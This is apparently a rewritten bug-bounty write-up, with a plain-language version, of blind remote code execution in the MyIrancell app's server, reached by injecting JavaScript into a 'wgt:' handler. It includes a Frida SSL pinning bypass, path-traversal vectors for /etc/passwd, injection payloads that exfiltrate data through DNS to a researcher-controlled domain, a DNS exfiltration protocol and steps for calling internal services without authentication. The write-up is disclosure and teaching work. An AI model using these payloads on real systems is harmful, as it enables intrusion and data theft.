Capturing the Traffic
The Android app used a custom encryption layer and a headless browser on the server to execute JavaScript functions specified in a request parameter. An attacker could inject arbitrary JavaScript into that parameter, achieving blind remote code execution on the server and exfiltrating data via DNS.
Published on blog.voorivex.team
One of the most bold topics in mobile application penetration tests is figuring out how to capture traffic. This is not a big deal in web applications (sometimes it is; for example, the user panel on amazon.com is heavily protected against MITM with BurpSuite), but overall, 99% of websites allow MITM when you install…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
## Context
The target was MyIrancell, the Android application of Irancell (MTN Group), a telecommunications company with roughly 148 million subscribers. The application is described as one of the most installed applications in Iran, and it had already been tested by several well-known penetration testing companies before the researcher started. The backend is reached over HTTPS at `myirancell.irancell.ir` through a path such as `/webaxn/webaxn?group=selfcare`, and the server side is built around a headless browser that opens HTML files, runs JavaScript functions and returns the results.
## Setup
All testing was done against the latest APK at the time of hunting. The environment was:
- Genymotion as the virtual Android machine (the researcher cannot remember the exact version, "API 31 or something").
- BurpSuite configured as a proxy inside the virtual machine.
- Frida for runtime hooking of classes and functions.
- A web server under the researcher's control at `https://a.tld/r/` and a DNS server under the researcher's control at `d.zhack.ca`.
The researcher notes that the application was not applying SSL pinning, so the traffic could be captured easily. The following Frida snippet is the one the researcher uses to bypass SSL pinning in general:
```javascript
var array_list = Java.use("java.util.ArrayList");
var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');
ApiClient.checkTrustedRecursive.implementation = function(a1,a2,a3,a4,a5,a6) {
console.log('Bypassing SSL Pinning');
var k = array_list.$new();
return k;
}
```
It hooks the certificate validation process and returns an empty list, so the application believes the TLS connection is trusted. In this case it was not even needed, but it is the standard starting point.
## Finding it
The first captured request already showed that the body was not plain text:
```http
POST /webaxn/webaxn?group=selfcare HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: application/vnd.wap.wbxml
IMEI: 000000000000000
os_version: 21
User-Agent: 2.2.1.10995/android
x-user-agent: 2.2.1.10995/android
x-device-ip: [redacted]
X-Cookie: 1.5961535400767.32.8a42e69d7c531b0f.18c7a3256fbe09d4.[redacted]
DENSITY: 4.0;640
Host: myirancell.irancell.ir
Connection: close
Content-Length: 240
Jl¹H¾ö ¿Û§ù·fõõý«ÏÙOü¾Z<÷ï˵¢ð%8B`T£±óc#zÁSBôJ.Vqß]»3©Ïýý;%õ`ZQT^ÈÙ'º1Ùçîkê±âÒuhÓ�
¢±¯üÂÆtf=bÙÛ#Ü1 ÉGhÇCB-ÆZßµ¸û<¦Â_Ag»vyùÇs<g¢È®½î.®>82ACTnHJ¿O 2õítæwõ]=Jêºä·ÁḫÐ�
$vïym9KÌ2BxÀéê+îµ²i4Nd·U-Ú
```
The body is binary, and the `X-Cookie` header stands out. The researcher's assumption was that the body is encrypted with a symmetric algorithm, that the key is exchanged at the start of the connection and stored on the device, or sent with each request, and that `X-Cookie` is part of the encryption system. The report is explicit that this is experience speaking, and recommends following Occam's Razor when making such assumptions.
The next problem was finding the encryption routine inside a large application. The researcher's old-school trick is hooking all strings, which is also useful in web applications to extract URLs built at runtime in SPAs. The hooks were driven by a Python script, and after about a day of exploring the application ("hanging out in the app"), the following stack trace appeared:
{{media:1}}
The `a()` method in the trace was clearly an encryption/decryption method. To get past it, the researcher used a universal AES hooker, which hooks AES through Java's `Cipher` class. The report notes the limit: if an application performs AES in the native layer through C/C++ libraries, this script will not capture those calls, and additional hooks targeting native code would be needed. The output was the plaintext of the traffic:
{{media:2}}
{{media:3}}
The plaintext was not readable yet, because printable and non-printable characters were mixed. Looking closer revealed patterns:
{{media:4}}
## Exploitation
### Step 1: Reconstructing the encryption system
By reading the source code and hooking over 100 functions and classes, the researcher reconstructed the custom protocol. At the beginning of a connection the server sends a key and a session id to the client, and the following packets are encrypted with that key. The key is bound to the user's session id. The `X-Cookie` header carries the state of this exchange and can take two forms:
```http
X-Cookie: 1.[redacted]
X-Cookie: 1.11544591529526.32.a84f9b13d70e65c2.21dc586f490a73be.[redacted]
```
The first form is used once the key exchange is complete and the permanent key has been delivered and saved on the client. The second form is used during the key exchange. Its parts are:
| Part | Meaning |
| --- | --- |
| `1` | Nothing important, the researcher has not figured out what it is |
| `11544591529526` | KEY1, a temporary key seed from which the temporary key is created |
| `32` | KEY2, the main key length, embedded at the beginning of every HTTP body and used to decrypt the whole body |
| `a84f9b13d70e65c2` | IV1, initial vector of the temporary key, used to decrypt the first 32 bytes of the body to retrieve KEY2 |
| `21dc586f490a73be` | IV2, initial vector of the main key, used to decrypt the whole body |
| `[redacted]` | An HMAC that keeps the body's integrity unchanged |
{{media:5}}
The precise flow is shown below:
{{media:6}}
1. **Initial Phase.** The application sends a semi-empty HTTP request. The server responds with an encrypted body and an `X-Cookie` header. The client uses the cookie to decrypt the body and save general configuration on the device.
2. **Key Exchange Phase.** The application creates a random dummy key, puts it in the body with an appropriate `X-Cookie`, and sends it. The server decrypts the packet with the cookie mechanism, retrieves the dummy key, generates a random permanent key, encrypts it with the dummy key, creates a session for the user, binds the session to the permanent key and responds. The client decrypts the response with the dummy key.
3. **Interaction Phase.** The rest of the connection is encrypted and decrypted with the permanent key, which turns into a shorter version that only contains a checksum.
### Step 2: Decoding the login body
The researcher then tried to understand the login mechanism: entered a number, received an OTP, entered it in the UI, and searched the traffic for it. Nothing was found. A closer look showed an extra encoding on top of the encryption. The decrypted login body was:
{{media:7}}
The phone number had become `4n5lcipUYfhzJ3QeTUVz`:
{{media:8}}
Since the application had already been under debugging for days, this was not a big obstacle. The researcher wrote an encoder/decoder script, which took a few hours because there was no ChatGPT at the time:
{{media:9}}
### Step 3: Threat modelling and the WebAxn SDK manual
With the encryption, key exchange, encoding functions and session id understood, the researcher could modify plaintext traffic and focused on IDOR/BOLA, SQL injection and business logic issues. Several days of testing produced nothing. The report is candid about the mindset at that point: bug bounty failures often stem from non-technical issues, and consistency is what opens the lock. The researcher stopped testing, searched for documentation about the target, and found a WebAxn SDK manual. It revealed that the server uses a headless browser: it opens HTML files, runs JavaScript functions and returns results on the server side.
{{media:10}}
Looking back at the HTTP packets showed a pattern:
{{media:11}}
```text
wgt:[FILE_PATH]:FUNC(ARGS)
```
When a request reaches the server, `[FILE_PATH]` is extracted and opened in the headless browser, and then `FUNC(ARGS)` is executed on the opened page.
### Step 4: Testing local file disclosure
The first test was local file disclosure, with several vectors:
```text
wgt:../../../../etc/hosts:FUNC(ARGS)
wgt:FUZZ.html:FUNC(ARGS)
wgt:/etc/passwd:FUNC(ARGS)
wgt:../../../../../etc/passwd
wgt:/etc/passwd
```
Nothing was found. The researcher also fuzzed the function name and parameters to provoke an unexpected error, without result.
### Step 5: Testing arbitrary JavaScript
The next test replaced the function with something arbitrary:
```text
wgt:555510/1.0/logincrm.html:console.log(123)
wgt:555510/1.0/logincrm.html:document.write(123)
```
This did not work either. The researcher's assumption was that a checker function verifies whether the corresponding function exists in the file before executing it. Attempts to bypass that imaginary checker followed:
```text
logincrm.html:validateNumber($msisdn,'','N');document.write(123)
logincrm.html:document.write(123);validateNumber($msisdn,'','N')
```
Still nothing. The researcher then moved from echo-based tests to blind and out-of-band tests, using a web server at `https://a.tld/r/`:
```text
logincrm.html:window.location='https://a.tld/r/';validateNumber($msisdn,'','N')
logincrm.html:validateNumber($msisdn,'','N');window.location='https://a.tld/r/'
```
No HTTP logs arrived at the web server. Before giving up, the researcher checked the DNS server logs and found DNS queries from the target. After confirming this several times, the following packet was crafted:
```text
["https",[location.pathname.split("/").join("zZ"),"75da75be5e3439e5d1ae.d.zhack.ca"].join(".")].join("://");validateNumber($msisdn,'','N')
```
The DNS logs received were:
```text
[redacted].0zZlogincrm.html
```
Converting `zZ` back to `/` gives the full path:
```text
/home/selfcare/webaxn/widgets/webaxn/555510/1.0/logincrm.html
```
The DNS logs returned the encoded path, showing the payload ran on the server and the result came back through DNS rather than HTTP.
### Step 6: Why DNS and not HTTP
The server did not make an HTTP request but did make a DNS request. The report explains that this is not a firewall issue. Sensitive servers usually have no internet connection: they lack any network interface with public routes. Intermediary servers act as reverse proxies and have internet access, and only the frontmost server should have it; firewalls act as internet gatekeepers. When you browse a site such as `https://ebanking.mamad.net`, you talk to a series of servers, and the last one, the actual portal, has no internet access:
{{media:12}}
Irancell, like many enterprises, uses Active Directory, which relies on DNS servers for clients to find domain controllers and for domain controllers to talk to each other. Two kinds of DNS servers are common:
- **Internal DNS servers (within AD):** part of the AD infrastructure, handling queries for the internal network and AD services.
- **External DNS servers (outside AD):** handling public queries for websites and external resources.
Clients do not choose: they query the internal DNS server, which answers internal records itself and forwards everything else outside:
{{media:13}}
If a remote attacker can make a vulnerable server inside AD send a DNS query to a domain the attacker controls, the attacker receives the query. This is DNS data exfiltration. It does not matter whether the AD uses one or two DNS servers: if it forwards DNS queries, it is at risk, and in the researcher's experience many AD networks do not follow best practices and forward DNS traffic. The final flow used for exfiltration was:
{{media:14}}
### Step 7: The DNS exfiltration protocol
DNS has real-world constraints: queries have a limited length and are unsuitable for large amounts of data, they use UDP which is not stateful and can lose packets, and data must be split into small parts and reassembled with integrity. The researcher designed a small protocol:
- **Smashing Data.** Convert data bytes into corresponding Unicode characters, separated by a dot, and break the result into fixed-length parts (100 works well), producing a sequence of chunks.
- **Initial Packet.** Starts with the character `0`, states how many chunks there are, and includes a random number to prevent DNS caching.
- **Data Packets.** Each query begins with the chunk number, followed by the data in Unicode format (which allows binary data) and a random number to prevent caching.
- **Reassembling.** The server checks whether all chunks have arrived, knows the count from the first packet, asks for missing chunks to be resent and waits, then reverses the initial process to reconstruct the data.
As an example, transferring the data `Yashar Shahinzadeh, just for test :)` with this protocol works as follows:
{{media:15}}
The researcher asked [@AmirMSafari](https://x.com/AmirMSafari) to write a standalone exploit that works universally: it generates code to run server-side and receives the DNS interaction. At the time only JavaScript was supported, with PowerShell and Bash to be added.
### Step 8: Post exploitation
With JavaScript execution on the remote server and results coming back over DNS, the bounty was earned. With prior notice to the vendor, the researcher went further to show the real impact, extracting a few key functions. In NodeJS RCE, the `.toString()` function can be used to view the source code of a function:
{{media:16}}
The extracted code showed a post-authentication feature that calls an internal web service without requiring authentication:
{{media:17}}
Because of this, the internal web service could be called directly through the `XmlHttpRequest` class, bypassing authentication and authorization. For example, a service SMS could be sent with the Irancell sender name:
{{media:18}}
Further features were added to the exploit code:
{{media:19}}
A video PoC demonstrates the vulnerability: [youtu.be/HhwrOiw_htc](https://youtu.be/HhwrOiw_htc).
## Root cause
The core mistake is in the `wgt:[FILE_PATH]:FUNC(ARGS)` handler. The server takes a file path and a function call from the request body, opens the file in a headless browser and executes the named function on the page. The researcher assumed a checker verifies the function exists in the file before executing it, but the crafted payload still ran.: the crafted payload executed `location.pathname.split("/").join("zZ")` and built a URL to an attacker-controlled domain, which the headless browser resolved. The report does not state the exact implementation of the checker or why it failed, so the precise bypass is not documented.
The second design issue is the network position. The server running the headless browser had no internet access, which is why HTTP callbacks failed, but its DNS queries were forwarded by the internal AD DNS server to the outside, which made the blind execution observable and exfiltratable. The custom AES layer and the extra encoding sat on top of TLS, and the application was not applying SSL pinning.
## Impact
An attacker who can reach the `wgt` handler with a crafted body can run arbitrary JavaScript on the server side. In this case the execution was blind and the server had no internet access, so results could not be returned over HTTP; the DNS tunnel made both confirmation and data exfiltration possible. From the extracted source code, the attacker could call an internal web service without authentication, bypassing authentication and authorization, and could send service SMS with the Irancell sender name. The report does not quantify how many users or systems were exposed, and the post-exploitation work was deliberately limited, with prior notice to the vendor, to demonstrate impact.
## Fix
The report does not describe which changes the vendor made. Based on the described behaviour, the handler should not accept a file path and a function call from the request body at all; if it must, the path should be resolved against a fixed allowlist of files and the function should be selected from a fixed allowlist of names, with no way to inject arbitrary JavaScript.
## Variants to test
1. **Look for `wgt:`-style handlers in other mobile SDKs.** Search the SDK documentation and the decrypted traffic for patterns of the form `prefix:[path]:func(args)`. A positive result is a request whose response changes when you alter the path or the function name.
2. **Test file path traversal in the path component.** Try `../../../../etc/hosts`, `/etc/passwd` and fuzzed file names as in the report. A positive result is a response containing file contents or an error that reveals the resolved path.
3. **Test arbitrary function execution.** Replace the function with `console.log(123)` or `document.write(123)`, and with a call to a known function followed by your own code. A positive result is output in the response or a side effect you can observe.
4. **Test out-of-band channels separately.** Send payloads that trigger an HTTP request to a server you control and payloads that trigger a DNS lookup to a domain you control, and check both logs. A positive result is a hit in either log, which tells you which channel the target can use.
5. **Build a DNS exfiltration channel.** Encode data in subdomains, split it into chunks with a count packet and per-chunk random labels to defeat caching, and reassemble on your side. A positive result is the full data reconstructed from the DNS logs.
6. **Check `.toString()` on server-side functions.** If you get JavaScript execution in a NodeJS context, call `.toString()` on functions you find. A positive result is source code that reveals internal endpoints and the authentication they expect.
7. **Call internal services directly.** With source code in hand, use `XmlHttpRequest` to call internal endpoints without credentials. A positive result is a successful response from a service that should require authentication.## What happened, in plain words
A security researcher spent weeks on the Android app of Irancell, a large Iranian telecoms company. The app is called MyIrancell and is one of the most installed apps in Iran. The app had already been tested by several well-known penetration testing companies before the researcher started.
The researcher wanted to see what the app sends to its servers. Normally you can do that by putting a small program (a proxy) between the phone and the internet, which records every request. The app made this hard in two ways: it wrapped its data in an extra layer of encryption on top of the normal HTTPS protection, and it scrambled some values (like the phone number) with an extra encoding. The researcher spent days breaking both layers, using a tool called Frida that lets you watch and change what a running app does.
Once the traffic was readable, the researcher tested the server behind the app for the usual classes of bugs and found nothing for several days. Then, by reading a public manual for the software the server uses (a WebAxn SDK), the researcher learned that the server has a hidden feature: it opens HTML files and runs JavaScript functions inside them on the server itself. The app's requests contain a small instruction of the form `wgt:[FILE_PATH]:FUNC(ARGS)`, and the server obeys it.
The researcher tried to abuse that instruction. Reading local files did not work. Running arbitrary JavaScript did not seem to work either, because the server never sent anything back. But the researcher's own DNS server (the service that turns names like `example.com` into addresses) started logging lookups coming from the target. The server could not reach the internet over HTTP, but it could still look up domain names. That gave the researcher a secret channel: run JavaScript on the server, and make it encode the answer into a domain name that the researcher controls. The answer arrives in the DNS logs.
With that channel, the researcher read the source code of internal functions, found an internal web service that could be called without logging in, and even sent service SMS messages with the Irancell sender name. The researcher reported the vulnerability with critical severity and earned a bounty. This article walks through the whole path, explaining every concept from scratch.
## The target and the setup
The target is the MyIrancell Android application. Its backend is reached over HTTPS at `myirancell.irancell.ir`, on a path such as `/webaxn/webaxn?group=selfcare`. The server side is built around a headless browser: a browser with no visible window that opens HTML files, runs the JavaScript inside them and returns the results. The report covers the path from intercepting the mobile traffic to running code on that server, which the researcher describes as blind (no output comes back directly) and without internet access.
All testing was done against the latest APK at the time. An APK is the file format of an Android app, the equivalent of an `.exe` on Windows. The environment was:
- Genymotion, a virtual Android machine that runs on a computer (the researcher cannot remember the exact version, "API 31 or something").
- BurpSuite, a proxy that sits between the app and the internet and records every request and response.
- Frida, a tool that attaches to a running app and lets you watch or replace the code of individual functions. This is called hooking.
- A web server under the researcher's control at `https://a.tld/r/` and a DNS server under the researcher's control at `d.zhack.ca`.
### Why SSL pinning matters, and the bypass snippet
When an app talks to a server over HTTPS, the server presents a certificate, and the app checks that the certificate is genuine. A proxy like BurpSuite works by presenting its own certificate instead, which the app would normally reject. Some apps go further and only trust one specific certificate, hard-coded inside the app. That is called SSL pinning, and it stops the proxy trick. The researcher notes that MyIrancell was not applying SSL pinning, so the traffic could be captured easily. The following Frida snippet is the one the researcher uses to bypass SSL pinning in general:
```javascript
var array_list = Java.use("java.util.ArrayList");
var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');
ApiClient.checkTrustedRecursive.implementation = function(a1,a2,a3,a4,a5,a6) {
console.log('Bypassing SSL Pinning');
var k = array_list.$new();
return k;
}
```
Line by line:
1. `var array_list = Java.use("java.util.ArrayList");` loads the Java class `ArrayList`, which is a simple list, so the script can create an empty one later.
2. `var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');` loads the Android class responsible for checking certificates. `TrustManagerImpl` is the part of Android that decides whether a certificate is trusted.
3. `ApiClient.checkTrustedRecursive.implementation = function(a1,a2,a3,a4,a5,a6) {` replaces the real certificate-checking function with a function of the researcher's own. The six arguments are whatever Android would normally pass in.
4. `console.log('Bypassing SSL Pinning');` prints a message so the researcher can see in the Frida console that the hook fired.
5. `var k = array_list.$new();` creates a new, empty list.
6. `return k;` returns that empty list as if it were the list of trusted certificates. Android reads an empty list as "nothing to complain about", so the app believes the connection is trusted.
In this case the bypass was not even needed, but it is the standard starting point for any Android test.
## Capturing the traffic
Capturing traffic is one of the hardest parts of mobile testing. On a normal website it is easy: you install your own certificate in the browser and the proxy can read everything. In a mobile app the story is different, because the app can refuse your certificate or encrypt the data itself.
The first captured request already showed that the body was not plain text:
```http
POST /webaxn/webaxn?group=selfcare HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: application/vnd.wap.wbxml
IMEI: 000000000000000
os_version: 21
User-Agent: 2.2.1.10995/android
x-user-agent: 2.2.1.10995/android
x-device-ip: [redacted]
X-Cookie: 1.5961535400767.32.8a42e69d7c531b0f.18c7a3256fbe09d4.[redacted]
DENSITY: 4.0;640
Host: myirancell.irancell.ir
Connection: close
Content-Length: 240
Jl¹H¾ö ¿Û§ù·fõõý«ÏÙOü¾Z<÷ï˵¢ð%8B`T£±óc#zÁSBôJ.Vqß]»3©Ïýý;%õ`ZQT^ÈÙ'º1Ùçîkê±âÒuhÓ�
¢±¯üÂÆtf=bÙÛ#Ü1 ÉGhÇCB-ÆZßµ¸û<¦Â_Ag»vyùÇs<g¢È®½î.®>82ACTnHJ¿O 2õítæwõ]=Jêºä·ÁḫÐ�
$vïym9KÌ2BxÀéê+îµ²i4Nd·U-Ú
```
Line by line:
1. `POST /webaxn/webaxn?group=selfcare HTTP/1.1` is the request line. `POST` means "I am sending data to the server". The path `/webaxn/webaxn` is the endpoint, and `?group=selfcare` is a parameter telling the server which group of features is being used. "Selfcare" is the part of a telecoms app where customers manage their own account.
2. `Accept-Encoding: gzip, deflate` says the client can accept compressed responses.
3. `Content-Type: application/vnd.wap.wbxml` declares the format of the body. WBXML is a compact binary form of XML, a format used a lot in older mobile protocols.
4. `IMEI: 000000000000000` is the phone's hardware identifier, here filled with zeros.
5. `os_version: 21` and `User-Agent: 2.2.1.10995/android` tell the server the Android version and the app version.
6. `x-user-agent: 2.2.1.10995/android` repeats the app version in a custom header.
7. `x-device-ip: [redacted]` is the device's address on the local network.
8. `X-Cookie: 1.5961535400767.32.8a42e69d7c531b0f.18c7a3256fbe09d4.[redacted]` is a custom header. A cookie is normally a small piece of data a website asks your browser to store and send back on every request, so the server can recognise you. This one is not a normal cookie: it is a long string of numbers and hex characters, and it stands out immediately.
9. `DENSITY: 4.0;640` describes the screen density.
10. `Host: myirancell.irancell.ir` is the server name.
11. `Connection: close` asks to close the connection after this request.
12. `Content-Length: 240` says the body is 240 bytes long.
13. The blank line separates headers from the body.
14. The body itself is binary garbage: random-looking bytes, not readable text.
The researcher's assumption was that the body is encrypted with a symmetric algorithm. Symmetric means the same key is used to lock and unlock the data, like a padlock with one key that both sides hold. The key would be exchanged at the start of the connection and stored on the device, or sent with each request. The `X-Cookie` header looked like part of that system. The report is explicit that this is experience speaking, and recommends following Occam's Razor: when several explanations fit, pick the simplest one.
### Finding the encryption routine
The next problem was finding the encryption routine inside a large application. The researcher's old-school trick is hooking all strings: making Frida print every string the app creates at runtime. The same trick is useful in web applications to extract URLs that a single-page app builds at runtime. The hooks were driven by a Python script, and after about a day of exploring the application ("hanging out in the app"), the following stack trace appeared:
{{media:1}}
A stack trace is the list of function calls that led to a particular point, like a receipt showing every step of a process. The `a()` method in the trace was clearly an encryption/decryption method. To get past it, the researcher used a universal AES hooker, which hooks AES through Java's `Cipher` class. AES is a widely used symmetric encryption standard, and `Cipher` is the Java class that performs it. The report notes the limit: if an application performs AES in the native layer through C/C++ libraries, this script will not capture those calls, and additional hooks targeting native code would be needed. The output was the plaintext of the traffic:
{{media:2}}
{{media:3}}
The plaintext was not readable yet, because printable and non-printable characters were mixed. Looking closer revealed patterns:
{{media:4}}
## Exploitation
### Step 1: Reconstructing the encryption system
By reading the source code and hooking over 100 functions and classes, the researcher reconstructed the custom protocol. At the beginning of a connection the server sends a key and a session id to the client, and the following packets are encrypted with that key. The key is bound to the user's session id. A session id is a random value that identifies one logged-in session, like the ticket number you get at a cloakroom. The `X-Cookie` header carries the state of this exchange and can take two forms:
```http
X-Cookie: 1.[redacted]
X-Cookie: 1.11544591529526.32.a84f9b13d70e65c2.21dc586f490a73be.[redacted]
```
The first form is used once the key exchange is complete and the permanent key has been delivered and saved on the client. The second form is used during the key exchange. Its parts are:
| Part | Meaning |
| --- | --- |
| `1` | Nothing important, the researcher has not figured out what it is |
| `11544591529526` | KEY1, a temporary key seed from which the temporary key is created |
| `32` | KEY2, the main key length, embedded at the beginning of every HTTP body and used to decrypt the whole body |
| `a84f9b13d70e65c2` | IV1, initial vector of the temporary key, used to decrypt the first 32 bytes of the body to retrieve KEY2 |
| `21dc586f490a73be` | IV2, initial vector of the main key, used to decrypt the whole body |
| `[redacted]` | An HMAC that keeps the body's integrity unchanged |
An initial vector (IV) is a random starting value that makes the same plaintext encrypt differently each time, so an attacker cannot spot repeated patterns. An HMAC is a kind of checksum made with a secret key: it lets the receiver verify that the data was not altered in transit. Integrity means exactly that: nobody changed the data.
{{media:5}}
The precise flow is shown below:
{{media:6}}
1. **Initial Phase.** The application sends a semi-empty HTTP request. The server responds with an encrypted body and an `X-Cookie` header. The client uses the cookie to decrypt the body and save general configuration on the device.
2. **Key Exchange Phase.** The application creates a random dummy key, puts it in the body with an appropriate `X-Cookie`, and sends it. The server decrypts the packet with the cookie mechanism, retrieves the dummy key, generates a random permanent key, encrypts it with the dummy key, creates a session for the user, binds the session to the permanent key and responds. The client decrypts the response with the dummy key.
3. **Interaction Phase.** The rest of the connection is encrypted and decrypted with the permanent key, which turns into a shorter version that only contains a checksum.
This is a classic key exchange: two parties agree on a secret without ever sending it in the clear, like two people each putting their own padlock on a box and then removing them one at a time.
### Step 2: Decoding the login body
The researcher then tried to understand the login mechanism: entered a number, received an OTP, entered it in the UI, and searched the traffic for it. An OTP is a one-time password, the short code sent by SMS to prove you own the phone number. Nothing was found. A closer look showed an extra encoding on top of the encryption. The decrypted login body was:
{{media:7}}
The phone number had become `4n5lcipUYfhzJ3QeTUVz`:
{{media:8}}
Since the application had already been under debugging for days, this was not a big obstacle. The researcher wrote an encoder/decoder script, which took a few hours because there was no ChatGPT at the time:
{{media:9}}
An encoder is the reverse of a decoder: one turns readable data into a scrambled form, the other turns it back. This is not encryption, because there is no secret key; it is just a transformation, like writing a word backwards.
### Step 3: Threat modelling and the WebAxn SDK manual
With the encryption, key exchange, encoding functions and session id understood, the researcher could modify plaintext traffic and focused on IDOR/BOLA, SQL injection and business logic issues. Several days of testing produced nothing.
A quick word on those bug classes. IDOR (Insecure Direct Object Reference), also called BOLA (Broken Object Level Authorization), means the server lets you access someone else's data just by changing an identifier in the request, for example changing `user=123` to `user=124`. SQL injection means sneaking database commands into a field the server passes to its database, like slipping an extra instruction into a form. Business logic issues are flaws in the rules of the app, such as being able to apply a discount twice.
The report is candid about the mindset at that point: bug bounty failures often stem from non-technical issues, and consistency is what opens the lock. The researcher stopped testing, searched for documentation about the target, and found a WebAxn SDK manual. An SDK is a set of tools a company provides so other developers can build on its platform. The manual revealed that the server uses a headless browser: it opens HTML files, runs JavaScript functions and returns results on the server side.
{{media:10}}
Looking back at the HTTP packets showed a pattern:
{{media:11}}
```text
wgt:[FILE_PATH]:FUNC(ARGS)
```
Line by line: `wgt:` is a prefix that marks the instruction. `[FILE_PATH]` is the path of an HTML file on the server. `FUNC(ARGS)` is a function name followed by its arguments in brackets. When a request reaches the server, `[FILE_PATH]` is extracted and opened in the headless browser, and then `FUNC(ARGS)` is executed on the opened page. In plain words: the server lets the caller choose which file to open and which function to run inside it. That is a dangerous amount of control to hand to a client.
### Step 4: Testing local file disclosure
The first test was local file disclosure, with several vectors:
```text
wgt:../../../../etc/hosts:FUNC(ARGS)
wgt:FUZZ.html:FUNC(ARGS)
wgt:/etc/passwd:FUNC(ARGS)
wgt:../../../../../etc/passwd
wgt:/etc/passwd
```
Line by line:
1. `wgt:../../../../etc/hosts:FUNC(ARGS)` tries to walk up four directories with `../` (each `../` means "go up one folder") and read `/etc/hosts`, a file that maps names to addresses on Linux.
2. `wgt:FUZZ.html:FUNC(ARGS)` uses `FUZZ` as a placeholder for many guessed file names, a technique called fuzzing: trying lots of variations automatically.
3. `wgt:/etc/passwd:FUNC(ARGS)` tries the absolute path of `/etc/passwd`, a classic Linux file that lists user accounts.
4. `wgt:../../../../../etc/passwd` and `wgt:/etc/passwd` repeat the attempt without the function part, in case the function is optional.
Local file disclosure means making the server show you a file it should not show, like asking a librarian for a book from the staff room. Nothing was found. The researcher also fuzzed the function name and parameters to provoke an unexpected error, without result.
### Step 5: Testing arbitrary JavaScript
The next test replaced the function with something arbitrary:
```text
wgt:555510/1.0/logincrm.html:console.log(123)
wgt:555510/1.0/logincrm.html:document.write(123)
```
Line by line:
1. `wgt:555510/1.0/logincrm.html:console.log(123)` opens a real file, `logincrm.html`, and asks it to run `console.log(123)`, which prints `123` to the browser console.
2. `wgt:555510/1.0/logincrm.html:document.write(123)` asks the page to write `123` into the page itself.
This did not work either. The researcher's assumption was that a checker function verifies whether the corresponding function exists in the file before executing it. Attempts to bypass that imaginary checker followed:
```text
logincrm.html:validateNumber($msisdn,'','N');document.write(123)
logincrm.html:document.write(123);validateNumber($msisdn,'','N')
```
Line by line:
1. `logincrm.html:validateNumber($msisdn,'','N');document.write(123)` calls a real function, `validateNumber`, and then adds `document.write(123)` after a semicolon. A semicolon ends one JavaScript instruction and starts another, so the idea is to sneak a second instruction past the checker.
2. `logincrm.html:document.write(123);validateNumber($msisdn,'','N')` does the same in the opposite order, in case the checker only looks at the first instruction.
Still nothing. The researcher then moved from echo-based tests to blind and out-of-band tests, using a web server at `https://a.tld/r/`:
```text
logincrm.html:window.location='https://a.tld/r/';validateNumber($msisdn,'','N')
logincrm.html:validateNumber($msisdn,'','N');window.location='https://a.tld/r/'
```
Line by line:
1. `logincrm.html:window.location='https://a.tld/r/';validateNumber($msisdn,'','N')` sets the page's address to the researcher's server, which makes the browser send a request there, and then calls the real function.
2. `logincrm.html:validateNumber($msisdn,'','N');window.location='https://a.tld/r/'` does the same in reverse order.
An echo-based test is one where you see the result directly in the response. A blind test is one where you cannot see the result, so you make the server contact a server you control instead. That is called out-of-band: the signal comes back on a different channel. No HTTP logs arrived at the web server. Before giving up, the researcher checked the DNS server logs and found DNS queries from the target. After confirming this several times, the following packet was crafted:
```text
["https",[location.pathname.split("/").join("zZ"),"75da75be5e3439e5d1ae.d.zhack.ca"].join(".")].join("://");validateNumber($msisdn,'','N')
```
Line by line:
1. `location.pathname` is the path part of the current page's address, for example `/home/selfcare/webaxn/...`.
2. `.split("/")` cuts that path into pieces at every slash, producing a list of folder names.
3. `.join("zZ")` glues the pieces back together with `zZ` between them, so the slashes become `zZ`. This is done because a domain name cannot contain slashes.
4. `["https", ... ,"75da75be5e3439e5d1ae.d.zhack.ca"].join(".")` builds a list whose first element is `https`, whose second element is the encoded path, and whose third element is a subdomain of the researcher's DNS server, then joins them with dots.
5. `.join("://")` joins the result with `://`, producing a URL such as `https://homezZselfcarezZ...zZlogincrm.html.75da75be5e3439e5d1ae.d.zhack.ca`.
6. `;validateNumber($msisdn,'','N')` calls the real function afterwards, so the request still looks legitimate.
The DNS logs received were:
```text
[redacted].0zZlogincrm.html
```
Converting `zZ` back to `/` gives the full path:
```text
/home/selfcare/webaxn/widgets/webaxn/555510/1.0/logincrm.html
```
The DNS logs returned the encoded path, showing the payload ran on the server and the result came back through DNS rather than HTTP. In other words: the researcher could run any JavaScript on the server, and the server's own DNS lookups carried the answer out.
### Step 6: Why DNS and not HTTP
The server did not make an HTTP request but did make a DNS request. The report explains that this is not a firewall issue. Sensitive servers usually have no internet connection: they lack any network interface with public routes. Intermediary servers act as reverse proxies and have internet access, and only the frontmost server should have it; firewalls act as internet gatekeepers. A reverse proxy is a server that sits in front of the real server and forwards requests to it, like a receptionist who takes all visitors and passes them to the right office. When you browse a site such as `https://ebanking.mamad.net`, you talk to a series of servers, and the last one, the actual portal, has no internet access:
{{media:12}}
Irancell, like many enterprises, uses Active Directory, which relies on DNS servers for clients to find domain controllers and for domain controllers to talk to each other. Active Directory is Microsoft's system for managing users, computers and permissions in a company network; a domain controller is the server that holds that information. Two kinds of DNS servers are common:
- **Internal DNS servers (within AD):** part of the AD infrastructure, handling queries for the internal network and AD services.
- **External DNS servers (outside AD):** handling public queries for websites and external resources.
Clients do not choose: they query the internal DNS server, which answers internal records itself and forwards everything else outside:
{{media:13}}
If a remote attacker can make a vulnerable server inside AD send a DNS query to a domain the attacker controls, the attacker receives the query. This is DNS data exfiltration. It does not matter whether the AD uses one or two DNS servers: if it forwards DNS queries, it is at risk, and in the researcher's experience many AD networks do not follow best practices and forward DNS traffic. The final flow used for exfiltration was:
{{media:14}}
### Step 7: The DNS exfiltration protocol
DNS has real-world constraints: queries have a limited length and are unsuitable for large amounts of data, they use UDP which is not stateful and can lose packets, and data must be split into small parts and reassembled with integrity. UDP is a simple transport protocol that sends packets without confirming they arrived, like posting letters without tracking. The researcher designed a small protocol:
- **Smashing Data.** Convert data bytes into corresponding Unicode characters, separated by a dot, and break the result into fixed-length parts (100 works well), producing a sequence of chunks. Unicode is a standard that assigns a number to every character, so any byte can be represented as a character.
- **Initial Packet.** Starts with the character `0`, states how many chunks there are, and includes a random number to prevent DNS caching. Caching means a DNS server remembers an answer for a while; a random label makes every query look new, so it is not answered from memory.
